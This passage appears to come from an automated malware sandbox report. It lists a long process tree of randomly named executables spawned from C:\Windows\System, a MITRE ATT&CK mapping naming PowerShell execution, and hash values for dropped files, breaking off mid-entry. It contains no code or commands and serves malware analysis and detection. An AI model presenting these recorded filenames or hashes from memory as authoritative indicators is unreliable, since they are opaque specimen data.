- C:\Windows\System\vaziFaZ.exe
  C:\Windows\System\vaziFaZ.exe
  2⤵
  PID:8356
- C:\Windows\System\DOIvydG.exe
  C:\Windows\System\DOIvydG.exe
  2⤵
  PID:8372
- C:\Windows\System\ZDQBMul.exe
  C:\Windows\System\ZDQBMul.exe
  2⤵
  PID:8392
- C:\Windows\System\FRyDLdj.exe
  C:\Windows\System\FRyDLdj.exe
  2⤵
  PID:8420
- C:\Windows\System\eyUBoTX.exe
  C:\Windows\System\eyUBoTX.exe
  2⤵
  PID:8444
- C:\Windows\System\uHOXYIp.exe
  C:\Windows\System\uHOXYIp.exe
  2⤵
  PID:8464
- C:\Windows\System\qBWIpTJ.exe
  C:\Windows\System\qBWIpTJ.exe
  2⤵
  PID:8484
- C:\Windows\System\HwBdudJ.exe
  C:\Windows\System\HwBdudJ.exe
  2⤵
  PID:8504
- C:\Windows\System\zcHRKwA.exe
  C:\Windows\System\zcHRKwA.exe
  2⤵
  PID:8520
- C:\Windows\System\KIkeFlH.exe
  C:\Windows\System\KIkeFlH.exe
  2⤵
  PID:8540
- C:\Windows\System\NsERDCz.exe
  C:\Windows\System\NsERDCz.exe
  2⤵
  PID:8568
- C:\Windows\System\DNacBSL.exe
  C:\Windows\System\DNacBSL.exe
  2⤵
  PID:8588
- C:\Windows\System\vqXbOke.exe
  C:\Windows\System\vqXbOke.exe
  2⤵
  PID:8604
- C:\Windows\System\MQgBLdc.exe
  C:\Windows\System\MQgBLdc.exe
  2⤵
  PID:8624
- C:\Windows\System\HtfVPGa.exe
  C:\Windows\System\HtfVPGa.exe
  2⤵
  PID:8640
- C:\Windows\System\eAYSFBa.exe
  C:\Windows\System\eAYSFBa.exe
  2⤵
  PID:8656
- C:\Windows\System\KlkaBEK.exe
  C:\Windows\System\KlkaBEK.exe
  2⤵
  PID:8680
- C:\Windows\System\qcmLXms.exe
  C:\Windows\System\qcmLXms.exe
  2⤵
  PID:8700
- C:\Windows\System\LzmZqfR.exe
  C:\Windows\System\LzmZqfR.exe
  2⤵
  PID:8716
- C:\Windows\System\qfGlmLN.exe
  C:\Windows\System\qfGlmLN.exe
  2⤵
  PID:8744
- C:\Windows\System\LzoKSLd.exe
  C:\Windows\System\LzoKSLd.exe
  2⤵
  PID:8768
- C:\Windows\System\lnvvtZY.exe
  C:\Windows\System\lnvvtZY.exe
  2⤵
  PID:8784
- C:\Windows\System\WxOjNfa.exe
  C:\Windows\System\WxOjNfa.exe
  2⤵
  PID:8804
- C:\Windows\System\zrpkPWB.exe
  C:\Windows\System\zrpkPWB.exe
  2⤵
  PID:8824
- C:\Windows\System\XPijMvc.exe
  C:\Windows\System\XPijMvc.exe
  2⤵
  PID:8840
- C:\Windows\System\kxPRLTR.exe
  C:\Windows\System\kxPRLTR.exe
  2⤵
  PID:8860
- C:\Windows\System\zuAlJUG.exe
  C:\Windows\System\zuAlJUG.exe
  2⤵
  PID:8876
- C:\Windows\System\WmXsxzd.exe
  C:\Windows\System\WmXsxzd.exe
  2⤵
  PID:8892
- C:\Windows\System\tMqduTx.exe
  C:\Windows\System\tMqduTx.exe
  2⤵
  PID:8920
- C:\Windows\System\iywIpxS.exe
  C:\Windows\System\iywIpxS.exe
  2⤵
  PID:8944
- C:\Windows\System\glZbGzk.exe
  C:\Windows\System\glZbGzk.exe
  2⤵
  PID:8960
- C:\Windows\System\etxCbgT.exe
  C:\Windows\System\etxCbgT.exe
  2⤵
  PID:8988
- C:\Windows\System\solUkmA.exe
  C:\Windows\System\solUkmA.exe
  2⤵
  PID:9004
- C:\Windows\System\hhhHfIO.exe
  C:\Windows\System\hhhHfIO.exe
  2⤵
  PID:9024
- C:\Windows\System\ABEjDUj.exe
  C:\Windows\System\ABEjDUj.exe
  2⤵
  PID:9052
- C:\Windows\System\fXRVAYr.exe
  C:\Windows\System\fXRVAYr.exe
  2⤵
  PID:9072
- C:\Windows\System\MMfyamh.exe
  C:\Windows\System\MMfyamh.exe
  2⤵
  PID:9092
- C:\Windows\System\umFRSFb.exe
  C:\Windows\System\umFRSFb.exe
  2⤵
  PID:9112
- C:\Windows\System\GxyKuYC.exe
  C:\Windows\System\GxyKuYC.exe
  2⤵
  PID:9136
- C:\Windows\System\yItaSLl.exe
  C:\Windows\System\yItaSLl.exe
  2⤵
  PID:9152
- C:\Windows\System\rBgPCtZ.exe
  C:\Windows\System\rBgPCtZ.exe
  2⤵
  PID:9176
- C:\Windows\System\wNhiNRp.exe
  C:\Windows\System\wNhiNRp.exe
  2⤵
  PID:9196
- C:\Windows\System\CJoBrOq.exe
  C:\Windows\System\CJoBrOq.exe
  2⤵
  PID:7436
- C:\Windows\System\VhXoAyk.exe
  C:\Windows\System\VhXoAyk.exe
  2⤵
  PID:8132
- C:\Windows\System\Stsvdcr.exe
  C:\Windows\System\Stsvdcr.exe
  2⤵
  PID:8236
- C:\Windows\System\RynmYSa.exe
  C:\Windows\System\RynmYSa.exe
  2⤵
  PID:8308
- C:\Windows\System\CWfRsiP.exe
  C:\Windows\System\CWfRsiP.exe
  2⤵
  PID:8288
- C:\Windows\System\GOjYbMC.exe
  C:\Windows\System\GOjYbMC.exe
  2⤵
  PID:8384
- C:\Windows\System\WSOWTTY.exe
  C:\Windows\System\WSOWTTY.exe
  2⤵
  PID:8336
- C:\Windows\System\hXYMBdI.exe
  C:\Windows\System\hXYMBdI.exe
  2⤵
  PID:8412
- C:\Windows\System\xtfitRo.exe
  C:\Windows\System\xtfitRo.exe
  2⤵
  PID:8428
- C:\Windows\System\vzeZXtN.exe
  C:\Windows\System\vzeZXtN.exe
  2⤵
  PID:8456
- C:\Windows\System\yTIDlov.exe
  C:\Windows\System\yTIDlov.exe
  2⤵
  PID:8496
- C:\Windows\System\hNPEZAz.exe
  C:\Windows\System\hNPEZAz.exe
  2⤵
  PID:8548
- C:\Windows\System\TRzyvFi.exe
  C:\Windows\System\TRzyvFi.exe
  2⤵
  PID:8576
- C:\Windows\System\sQCntAx.exe
  C:\Windows\System\sQCntAx.exe
  2⤵
  PID:8632
- C:\Windows\System\ORThbpY.exe
  C:\Windows\System\ORThbpY.exe
  2⤵
  PID:8672
- C:\Windows\System\RiYacmo.exe
  C:\Windows\System\RiYacmo.exe
  2⤵
  PID:8648
- C:\Windows\System\zAApIFP.exe
  C:\Windows\System\zAApIFP.exe
  2⤵
  PID:8692
- C:\Windows\System\SJKqSdY.exe
  C:\Windows\System\SJKqSdY.exe
  2⤵
  PID:8736
- C:\Windows\System\zcxQlcL.exe
  C:\Windows\System\zcxQlcL.exe
  2⤵
  PID:8740
- C:\Windows\System\oeVPDHQ.exe
  C:\Windows\System\oeVPDHQ.exe
  2⤵
  PID:8832
- C:\Windows\System\sgmisow.exe
  C:\Windows\System\sgmisow.exe
  2⤵
  PID:8868
- C:\Windows\System\clObKcw.exe
  C:\Windows\System\clObKcw.exe
  2⤵
  PID:2372
- C:\Windows\System\RXSuMOP.exe
  C:\Windows\System\RXSuMOP.exe
  2⤵
  PID:8912
- C:\Windows\System\iRdyzzG.exe
  C:\Windows\System\iRdyzzG.exe
  2⤵
  PID:8952
- C:\Windows\System\bZHWcMu.exe
  C:\Windows\System\bZHWcMu.exe
  2⤵
  PID:8940
- C:\Windows\System\kNRTNcm.exe
  C:\Windows\System\kNRTNcm.exe
  2⤵
  PID:8936
- C:\Windows\System\llMyvEq.exe
  C:\Windows\System\llMyvEq.exe
  2⤵
  PID:9044
- C:\Windows\System\MQoaTbn.exe
  C:\Windows\System\MQoaTbn.exe
  2⤵
  PID:8980
- C:\Windows\System\cckRytk.exe
  C:\Windows\System\cckRytk.exe
  2⤵
  PID:9080
- C:\Windows\System\GBctGII.exe
  C:\Windows\System\GBctGII.exe
  2⤵
  PID:9124
- C:\Windows\System\UkUdbeS.exe
  C:\Windows\System\UkUdbeS.exe
  2⤵
  PID:9108
- C:\Windows\System\urvMfNP.exe
  C:\Windows\System\urvMfNP.exe
  2⤵
  PID:9184
- C:\Windows\System\FuFPOZF.exe
  C:\Windows\System\FuFPOZF.exe
  2⤵
  PID:1416
- C:\Windows\System\NaoPKKT.exe
  C:\Windows\System\NaoPKKT.exe
  2⤵
  PID:1868
- C:\Windows\System\zOmsmVZ.exe
  C:\Windows\System\zOmsmVZ.exe
  2⤵
  PID:1448
- C:\Windows\System\ZknGAFb.exe
  C:\Windows\System\ZknGAFb.exe
  2⤵
  PID:8240
- C:\Windows\System\UKBqYcU.exe
  C:\Windows\System\UKBqYcU.exe
  2⤵
  PID:8312
- C:\Windows\System\JnlvTRx.exe
  C:\Windows\System\JnlvTRx.exe
  2⤵
  PID:8328
- C:\Windows\System\cQdiIcv.exe
  C:\Windows\System\cQdiIcv.exe
  2⤵
  PID:9068
- C:\Windows\System\udDOhga.exe
  C:\Windows\System\udDOhga.exe
  2⤵
  PID:8440
- C:\Windows\System\qURjkbI.exe
  C:\Windows\System\qURjkbI.exe
  2⤵
  PID:8480
- C:\Windows\System\TjWwyVa.exe
  C:\Windows\System\TjWwyVa.exe
  2⤵
  PID:8564
- C:\Windows\System\bkhASpu.exe
  C:\Windows\System\bkhASpu.exe
  2⤵
  PID:8668
- C:\Windows\System\JZqQAzV.exe
  C:\Windows\System\JZqQAzV.exe
  2⤵
  PID:8688
- C:\Windows\System\URPGCvp.exe
  C:\Windows\System\URPGCvp.exe
  2⤵
  PID:8728
- C:\Windows\System\kzlKTOS.exe
  C:\Windows\System\kzlKTOS.exe
  2⤵
  PID:8816
- C:\Windows\System\GMRqMFp.exe
  C:\Windows\System\GMRqMFp.exe
  2⤵
  PID:2428
- C:\Windows\System\pKDAvIn.exe
  C:\Windows\System\pKDAvIn.exe
  2⤵
  PID:2844
- C:\Windows\System\CQmmDuW.exe
  C:\Windows\System\CQmmDuW.exe
  2⤵
  PID:8856
- C:\Windows\System\mfdFAlO.exe
  C:\Windows\System\mfdFAlO.exe
  2⤵
  PID:9000
- C:\Windows\System\mNcpkoZ.exe
  C:\Windows\System\mNcpkoZ.exe
  2⤵
  PID:8972
- C:\Windows\System\qgKqSSf.exe
  C:\Windows\System\qgKqSSf.exe
  2⤵
  PID:8984
- C:\Windows\System\QfaDTEV.exe
  C:\Windows\System\QfaDTEV.exe
  2⤵
  PID:9148
- C:\Windows\System\nyfUjck.exe
  C:\Windows\System\nyfUjck.exe
  2⤵
  PID:9160
- C:\Windows\System\TuHpEYi.exe
  C:\Windows\System\TuHpEYi.exe
  2⤵
  PID:2508
- C:\Windows\System\cJbvwQy.exe
  C:\Windows\System\cJbvwQy.exe
  2⤵
  PID:8228
- C:\Windows\System\HnNFBph.exe
  C:\Windows\System\HnNFBph.exe
  2⤵
  PID:8324
- C:\Windows\System\oOhJePI.exe
  C:\Windows\System\oOhJePI.exe
  2⤵
  PID:8368
- C:\Windows\System\paPbPvN.exe
  C:\Windows\System\paPbPvN.exe
  2⤵
  PID:8452
- C:\Windows\System\XbYAtIw.exe
  C:\Windows\System\XbYAtIw.exe
  2⤵
  PID:8600
- C:\Windows\System\MmCJxzZ.exe
  C:\Windows\System\MmCJxzZ.exe
  2⤵
  PID:8652
- C:\Windows\System\NOuoDzD.exe
  C:\Windows\System\NOuoDzD.exe
  2⤵
  PID:8760
- C:\Windows\System\DATjMQC.exe
  C:\Windows\System\DATjMQC.exe
  2⤵
  PID:8908
- C:\Windows\System\NuMyNpv.exe
  C:\Windows\System\NuMyNpv.exe
  2⤵
  PID:8852
- C:\Windows\System\qKGseJW.exe
  C:\Windows\System\qKGseJW.exe
  2⤵
  PID:8968
- C:\Windows\System\AYIhcIo.exe
  C:\Windows\System\AYIhcIo.exe
  2⤵
  PID:9120
- C:\Windows\System\OFERtqO.exe
  C:\Windows\System\OFERtqO.exe
  2⤵
  PID:9208
- C:\Windows\System\yjSOrQZ.exe
  C:\Windows\System\yjSOrQZ.exe
  2⤵
  PID:8268
- C:\Windows\System\cylVLse.exe
  C:\Windows\System\cylVLse.exe
  2⤵
  PID:8348
- C:\Windows\System\rLRIPvz.exe
  C:\Windows\System\rLRIPvz.exe
  2⤵
  PID:8416
- C:\Windows\System\sOHoXtt.exe
  C:\Windows\System\sOHoXtt.exe
  2⤵
  PID:8516
- C:\Windows\System\kpzAEAZ.exe
  C:\Windows\System\kpzAEAZ.exe
  2⤵
  PID:8872
- C:\Windows\System\mQBfBhz.exe
  C:\Windows\System\mQBfBhz.exe
  2⤵
  PID:8916
- C:\Windows\System\UvcJMoA.exe
  C:\Windows\System\UvcJMoA.exe
  2⤵
  PID:9016
- C:\Windows\System\FjFkkOV.exe
  C:\Windows\System\FjFkkOV.exe
  2⤵
  PID:7872
- C:\Windows\System\lHUJyHu.exe
  C:\Windows\System\lHUJyHu.exe
  2⤵
  PID:8612
- C:\Windows\System\EhKRJTf.exe
  C:\Windows\System\EhKRJTf.exe
  2⤵
  PID:8500
- C:\Windows\System\FRKWSGa.exe
  C:\Windows\System\FRKWSGa.exe
  2⤵
  PID:8888
- C:\Windows\System\AmnMcbz.exe
  C:\Windows\System\AmnMcbz.exe
  2⤵
  PID:9144
- C:\Windows\System\QqLPOfM.exe
  C:\Windows\System\QqLPOfM.exe
  2⤵
  PID:9164
- C:\Windows\System\xCLPVjJ.exe
  C:\Windows\System\xCLPVjJ.exe
  2⤵
  PID:8404
- C:\Windows\System\WIUBAaB.exe
  C:\Windows\System\WIUBAaB.exe
  2⤵
  PID:8664
- C:\Windows\System\ceqFPiH.exe
  C:\Windows\System\ceqFPiH.exe
  2⤵
  PID:9100
- C:\Windows\System\sJnCSSa.exe
  C:\Windows\System\sJnCSSa.exe
  2⤵
  PID:9040
- C:\Windows\System\ikvJndD.exe
  C:\Windows\System\ikvJndD.exe
  2⤵
  PID:9236
- C:\Windows\System\HFQIpcu.exe
  C:\Windows\System\HFQIpcu.exe
  2⤵
  PID:9256
- C:\Windows\System\VsnqSzl.exe
  C:\Windows\System\VsnqSzl.exe
  2⤵
  PID:9272
- C:\Windows\System\xyqbeIZ.exe
  C:\Windows\System\xyqbeIZ.exe
  2⤵
  PID:9292
- C:\Windows\System\TlYeoMt.exe
  C:\Windows\System\TlYeoMt.exe
  2⤵
  PID:9312
- C:\Windows\System\AQHPzzJ.exe
  C:\Windows\System\AQHPzzJ.exe
  2⤵
  PID:9328
- C:\Windows\System\HeAdeon.exe
  C:\Windows\System\HeAdeon.exe
  2⤵
  PID:9344
- C:\Windows\System\IBRcObW.exe
  C:\Windows\System\IBRcObW.exe
  2⤵
  PID:9360
- C:\Windows\System\iNmRCen.exe
  C:\Windows\System\iNmRCen.exe
  2⤵
  PID:9376
- C:\Windows\System\kfPQhZB.exe
  C:\Windows\System\kfPQhZB.exe
  2⤵
  PID:9396
- C:\Windows\System\OXslRtF.exe
  C:\Windows\System\OXslRtF.exe
  2⤵
  PID:9416
- C:\Windows\System\sLFEqhr.exe
  C:\Windows\System\sLFEqhr.exe
  2⤵
  PID:9432
- C:\Windows\System\EHwaxYo.exe
  C:\Windows\System\EHwaxYo.exe
  2⤵
  PID:9448
- C:\Windows\System\dvBikqU.exe
  C:\Windows\System\dvBikqU.exe
  2⤵
  PID:9468
- C:\Windows\System\ProHXhE.exe
  C:\Windows\System\ProHXhE.exe
  2⤵
  PID:9484
- C:\Windows\System\TeZUJTZ.exe
  C:\Windows\System\TeZUJTZ.exe
  2⤵
  PID:9500
- C:\Windows\System\QdjmeKU.exe
  C:\Windows\System\QdjmeKU.exe
  2⤵
  PID:9516
- C:\Windows\System\Ubjvyvj.exe
  C:\Windows\System\Ubjvyvj.exe
  2⤵
  PID:9532
- C:\Windows\System\PSdeSuR.exe
  C:\Windows\System\PSdeSuR.exe
  2⤵
  PID:9548
- C:\Windows\System\NTAfBpF.exe
  C:\Windows\System\NTAfBpF.exe
  2⤵
  PID:9568
- C:\Windows\System\TIvKOlg.exe
  C:\Windows\System\TIvKOlg.exe
  2⤵
  PID:9584
- C:\Windows\System\KLlvTMD.exe
  C:\Windows\System\KLlvTMD.exe
  2⤵
  PID:9604
- C:\Windows\System\XTaLgWJ.exe
  C:\Windows\System\XTaLgWJ.exe
  2⤵
  PID:9624
- C:\Windows\System\EutKhmW.exe
  C:\Windows\System\EutKhmW.exe
  2⤵
  PID:9640
- C:\Windows\System\VRETBil.exe
  C:\Windows\System\VRETBil.exe
  2⤵
  PID:9660
- C:\Windows\System\lNbyEmS.exe
  C:\Windows\System\lNbyEmS.exe
  2⤵
  PID:9692
- C:\Windows\System\bMWpVvu.exe
  C:\Windows\System\bMWpVvu.exe
  2⤵
  PID:9720
- C:\Windows\System\SsjUhVM.exe
  C:\Windows\System\SsjUhVM.exe
  2⤵
  PID:9744
- C:\Windows\System\Xifnsov.exe
  C:\Windows\System\Xifnsov.exe
  2⤵
  PID:9764
- C:\Windows\System\vMuiMos.exe
  C:\Windows\System\vMuiMos.exe
  2⤵
  PID:9784
- C:\Windows\System\KTLrGbs.exe
  C:\Windows\System\KTLrGbs.exe
  2⤵
  PID:9804
- C:\Windows\System\fkzEHzp.exe
  C:\Windows\System\fkzEHzp.exe
  2⤵
  PID:9836
- C:\Windows\System\tCUqhVJ.exe
  C:\Windows\System\tCUqhVJ.exe
  2⤵
  PID:9852
- C:\Windows\System\ANKIQUw.exe
  C:\Windows\System\ANKIQUw.exe
  2⤵
  PID:9876
- C:\Windows\System\QMjTood.exe
  C:\Windows\System\QMjTood.exe
  2⤵
  PID:9904
- C:\Windows\System\KCnaIex.exe
  C:\Windows\System\KCnaIex.exe
  2⤵
  PID:9920
- C:\Windows\System\QBSMDcE.exe
  C:\Windows\System\QBSMDcE.exe
  2⤵
  PID:9936
- C:\Windows\System\gBXmjQu.exe
  C:\Windows\System\gBXmjQu.exe
  2⤵
  PID:9952
- C:\Windows\System\hxnRdmk.exe
  C:\Windows\System\hxnRdmk.exe
  2⤵
  PID:9968
- C:\Windows\System\mjWPQAR.exe
  C:\Windows\System\mjWPQAR.exe
  2⤵
  PID:9988
- C:\Windows\System\OHXtpai.exe
  C:\Windows\System\OHXtpai.exe
  2⤵
  PID:10004
- C:\Windows\System\qNLXOWP.exe
  C:\Windows\System\qNLXOWP.exe
  2⤵
  PID:10028
- C:\Windows\System\ZHYfFUv.exe
  C:\Windows\System\ZHYfFUv.exe
  2⤵
  PID:10068
- C:\Windows\System\pFDVrhD.exe
  C:\Windows\System\pFDVrhD.exe
  2⤵
  PID:10088
- C:\Windows\System\XTCWFCn.exe
  C:\Windows\System\XTCWFCn.exe
  2⤵
  PID:10108
- C:\Windows\System\ADcGLgB.exe
  C:\Windows\System\ADcGLgB.exe
  2⤵
  PID:10132
- C:\Windows\System\tTahnAr.exe
  C:\Windows\System\tTahnAr.exe
  2⤵
  PID:10156
- C:\Windows\System\RXryyQg.exe
  C:\Windows\System\RXryyQg.exe
  2⤵
  PID:10172
- C:\Windows\System\zvIkcSw.exe
  C:\Windows\System\zvIkcSw.exe
  2⤵
  PID:10188
- C:\Windows\System\QSrvZmC.exe
  C:\Windows\System\QSrvZmC.exe
  2⤵
  PID:10204
- C:\Windows\System\gqmevJz.exe
  C:\Windows\System\gqmevJz.exe
  2⤵
  PID:10220
- C:\Windows\System\YXSmFLg.exe
  C:\Windows\System\YXSmFLg.exe
  2⤵
  PID:9048
- C:\Windows\System\AdGcdZf.exe
  C:\Windows\System\AdGcdZf.exe
  2⤵
  PID:9220
- C:\Windows\System\VjMAQHU.exe
  C:\Windows\System\VjMAQHU.exe
  2⤵
  PID:9264
- C:\Windows\System\LAnfGWZ.exe
  C:\Windows\System\LAnfGWZ.exe
  2⤵
  PID:9268
- C:\Windows\System\uMgLIOp.exe
  C:\Windows\System\uMgLIOp.exe
  2⤵
  PID:9280
- C:\Windows\System\tZxrZbX.exe
  C:\Windows\System\tZxrZbX.exe
  2⤵
  PID:9368
- C:\Windows\System\SLdfRjx.exe
  C:\Windows\System\SLdfRjx.exe
  2⤵
  PID:9388
- C:\Windows\System\gZeMYWr.exe
  C:\Windows\System\gZeMYWr.exe
  2⤵
  PID:9440
- C:\Windows\System\zWkCuPC.exe
  C:\Windows\System\zWkCuPC.exe
  2⤵
  PID:9424
- C:\Windows\System\ofpgfCE.exe
  C:\Windows\System\ofpgfCE.exe
  2⤵
  PID:9464
- C:\Windows\System\MekEhPf.exe
  C:\Windows\System\MekEhPf.exe
  2⤵
  PID:9496
- C:\Windows\System\sIzoSjJ.exe
  C:\Windows\System\sIzoSjJ.exe
  2⤵
  PID:9524
- C:\Windows\System\vLjeJKw.exe
  C:\Windows\System\vLjeJKw.exe
  2⤵
  PID:9560
- C:\Windows\System\QNtKEto.exe
  C:\Windows\System\QNtKEto.exe
  2⤵
  PID:8756
- C:\Windows\System\aqnMxHL.exe
  C:\Windows\System\aqnMxHL.exe
  2⤵
  PID:9620
- C:\Windows\System\XnvGwqM.exe
  C:\Windows\System\XnvGwqM.exe
  2⤵
  PID:9636
- C:\Windows\System\Lrnvqkz.exe
  C:\Windows\System\Lrnvqkz.exe
  2⤵
  PID:9672
- C:\Windows\System\kAPbPRw.exe
  C:\Windows\System\kAPbPRw.exe
  2⤵
  PID:9676
- C:\Windows\System\iHPQcEJ.exe
  C:\Windows\System\iHPQcEJ.exe
  2⤵
  PID:9688
- C:\Windows\System\FHdaYXz.exe
  C:\Windows\System\FHdaYXz.exe
  2⤵
  PID:9756
- C:\Windows\System\mBwfswJ.exe
  C:\Windows\System\mBwfswJ.exe
  2⤵
  PID:9780
- C:\Windows\System\wHCafKb.exe
  C:\Windows\System\wHCafKb.exe
  2⤵
  PID:9816
- C:\Windows\System\BXfVJqp.exe
  C:\Windows\System\BXfVJqp.exe
  2⤵
  PID:9824
- C:\Windows\System\PBqtaKR.exe
  C:\Windows\System\PBqtaKR.exe
  2⤵
  PID:9848
- C:\Windows\System\XsdayYt.exe
  C:\Windows\System\XsdayYt.exe
  2⤵
  PID:9884
- C:\Windows\System\TPhgTZb.exe
  C:\Windows\System\TPhgTZb.exe
  2⤵
  PID:9872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\AVXTEFc.exe

Filesize
3.3MB

MD5
a779840b006f7c2db39bc671b206ccee

SHA1
08c1c546b78c35de04f69a621cca654781e34a52

SHA256
8607e3d69032375c07e5dce24396492ed10b4738cc43a392a42a98e99a8e5946

SHA512
6996ba363925785225ecf2161803fc9e73341a5e901c33bd8aaccdb093cba3cbbce3f4bca71de15e242634aa30b8def59382ddbe31e556f3da0d29c6350b6cf0

Download Submit
C:\Windows\system\BhhXcmz.exe

Filesize
3.3MB

MD5
a576fcfc2355a81103b707dd26f2ed12

SHA1
fb2151b300e46917ca645d505653829712b6f85b

SHA256
60d2c6bfe0a19be4a841218bdda4ce960fa2c7c9d31cd13dbfb91c9bdd90d958

SHA512
190e268b9cf7b8ed3821d108b09e9e1b64527ac485018f6c1b0fb4143d31db052a090c0d5e6f24e6eb6709dc0260edddd2bdb463204fb1aa94cd1d8635f821a5

Download Submit
C:\Windows\system\HQqvzhf.exe

Filesize
3.3MB

MD5
13be738ef2829bab00b5e0ec42659497

SHA1
72f5dd9e7b000332baece8cf44571c0d06b1b456

SHA256
5a381f8b99720993dd59594036a7622ae0ec898b7b132c6425a60ed77ff55c19

SHA512
ef76cc94498efd015d223cac167e3883ea24bf55e8b9acdf5607e2ae0d4c54d5b4212e83779b79f2025949848642a3ede1abd842215d9d3c44a06dfd7009f81b

Download Submit
C:\Windows\system\IlGaJmt.exe

Filesize
3.3MB

MD5
da8ea098419d91d2192b934ffd9c5df4

SHA1
5cf00de26501e440b7cd05c65975df23136df11f

SHA256
29ff89e147766e4bb7f639610e1bce9c409696f92ec7077a9208e1624d497b4a

SHA512
3a9f2b339a969b60133e3b4ccb3c1c62c9e76b6241b5a0f0ce87b0bcd63d5b2d30de107845b661e89ba3bddee366f540b9613daedba30dc061544d1247f62e2c

Download Submit
C:\Windows\system\Iwdqmxl.exe

Filesize
3.3MB

MD5
43fd0d2ebc3896f1d556862e464f4d6c

SHA1
1296857d9aa43dbaa5f5ec09b90e44e81907ed66

SHA256
781747396fa451dff5bcffb2d917d9fbb3c1d809d43abd301cd6867c4f5fb5c5

SHA512
d16e5bf0f74bb805513d1084638299fab7125c72d68edced3cde2d6cd4f25dadf96e5bc7014375b4a3f28341ab3bae13fc55bd57548b1d6e5660f1cf09b6c176

Download Submit
C:\Windows\system\MCdtsfb.exe

Filesize
3.3MB

MD5
b49a6e6b7929e99e58002286bea40fad

SHA1
47776b4e8ce13c0605509b2c7104884f463514c1

SHA256
7cae358e44305500fccdcb4dad919a1a79b1bc882efa23f0074f4ce05e36f1fb

SHA512
765ac13f092548e9b89957bb92e2ffc6fcca4a123e03d55eecb8d7de4f1e7f849fd293255a30534491653e71beb3f709fec58416afe340e03cc9ad6b6ee9a575

Download Submit
C:\Windows\system\MHxzPkm.exe

Filesize
3.3MB

MD5
cc216924e106960998a14def36f179c9

SHA1
ba54215704516205c5b80f5864df06ed3a7891d6

SHA256
305450723b98e67315d8b03cfeb38563c1a58fdea9e1351030650f5e3e16e0a6

SHA512
fc7ae29e2fddcca85c432f31660f07902c5ea45c5f082d2c7e7cc849df59027e87f1437bbd874f820c9d8bfc851422b4f2a9bd07c74b5389085e150b57c8cd72

Download Submit
C:\Windows\system\NAIYGUJ.exe

Filesize
3.3MB

MD5
ca0f3181b95e5f5186503a725871841b

SHA1
8e11cbd43d2ea3d2efd6c073eac2dae75e5eee06

SHA256
1c62d66177c2118faf98a7fc9499c44ab2010dd4b98901b490474b73b4eb6147

SHA512
782b60bf9e5c76aaa10b52da206ddf6d0196b79d383d85cc24ca383bb71742c24a9aff8713dbd312f9be32ebccb5cee2171381d5979b5b551a034a04307a30fa

Download Submit
C:\Windows\system\OujxUPt.exe

Filesize
3.3MB

MD5
af12a02a8ad24d93b9892b3a1a6d0367

SHA1
5f2b47d04d8e246383b621d62d2e3a07ecb226ec

SHA256
d1abf585d72cc247455d5ca28a1bc6b48c41b138631688221909fd6449b3912d

SHA512
063a9712e358153ba445526cc87fe955b4d2e0994683fb22489c48c4ed6df5e33c54cb9537d62c1b1f3bb981eeb164bfb5b9bfdf742635cdbca69b4aff9f3c49

Download Submit
C:\Windows\system\PWHROhb.exe

Filesize
3.3MB

MD5
143e81e254022935fecca686c4c0678d

SHA1
fbd87e6f766c3310d331d607794dead3a45e65a6

SHA256
6f832c2d554a917188153a37cd07422e9de65df61c504737c1b3bf156093e7eb

SHA512
e4b9d357a17e8d4c1df0e23836955b2e16495a6c465e7e585e5ac009edb5ffde97b512ebbc75c96ec7205b1b97efbceebfca950b02634e55b1d08af5595ef075

Download Submit
C:\Windows\system\RJWJxuz.exe

Filesize
3.3MB

MD5
1e008db619815649cc619647ba2fc365

SHA1
e8005e46d013a2c4a9c9e322c0129ce641ac7069

SHA256
0db62ea21c282aae7be8e6c93d1cbe80a0c567ee682f1c87f0b2a60e2a733579

SHA512
19a77c6983630fceab3b45192856a744b4c0882cd142689694229cea2fb3ea08e0715f3180afa9f6cd58ba4d9415efc971cba0ee667ba66ae30487595c3dedaa

Download Submit
C:\Windows\system\RUAdteF.exe

Filesize
3.3MB

MD5
fd0315b5a0048160a7d63f73c21015ae

SHA1
628cce272930d423d28b518ab07dafcb0579519a

SHA256
aa0b88214c3a06014aa2ac556253d2c3507aa4c371b931a03f792cb4d5161fe5

SHA512
ab7fa4eab72f711f89493f8d0672177fe1738df5f2399b2f7bdca4b50ddc6633e2b90c1ef6644fcdcf4a3000d0cde1c488bd4bf41d8f26a5a93207fb2e67cf0f

Download Submit
C:\Windows\system\ZLqeIyv.exe

Filesize
3.3MB

MD5
63cad1ed4526597c71ccecee5ea7cde6

SHA1
e8220726793f4161d5924c0e07dae6c7b5447197

SHA256
4de97340742c3ba82476ce4451459ba9dc58900ec919080a6756338773daf8a5

SHA512
1df176df0325d79bd6dcae8d2d511504ca6bab2669b77124287199d1862a4881718f9da07725a60698715cba938af6d29a2c9095c29c82274e13818173bd4d07

Download Submit
C:\Windows\system\beOnDBo.exe

Filesize
3.3MB

MD5
9f4f965df05c6a094a6e0d4902239879

SHA1
625daf5a4e07cfd45e9896747d654f3d71fd7e08

SHA256
7164d9e6b70c3d20916ca5bd844205a05447c6fe06cbd86546360f57ad5aad10

SHA512
e1a0a53f34f424d735d5b6c446b35049929e30102d96016b1597d464184ce6e5f5e4dca90157893c5a0aeaff802daf8ba8e83d8dcfd80319dcff5e485971e099

Download Submit
C:\Windows\system\cuwtyjh.exe

Filesize
3.3MB

MD5
441f9ad29aa0eed55d0be6a28e6c7750

SHA1
43352a39158c0acc108834a6e8b48a12fc1508db

SHA256
875b0ff29a17a3488f8ad30106f1c29e32270339c13883990f66bec9cfd5119c

SHA512
b7f07abf1975c6595729d1d9dfb8f19e0ad2f39090d072143d0abb04bfd9b5e1d7bf1d3f6b1de11c9a40d675116e05e14ce596c7c42e65fd2c36ac9140468b7a

Download Submit
C:\Windows\system\dBIRlNG.exe

Filesize
3.3MB

MD5
3085795e6f3ffe87681c12ce7411801d

SHA1
76977b5ccdd46f54ec14482490ee138638b82798

SHA256
4d82c52c8f8ddfe7f3484b26284cd8433b2c8a086af6fb7709168d185276e337

SHA512
8a95559901d6055a014ed86f8ed7c608fef25d000590fb5740c523fb2699dd6decaed328a6353ec2606b51fd385f34f62a8a4706f989728c73051d4cb739c0e5

Download Submit
C:\Windows\system\dCmlPdH.exe

Filesize
3.3MB

MD5
bd45c273eb0d353dadc7ad2e2a389cee

SHA1
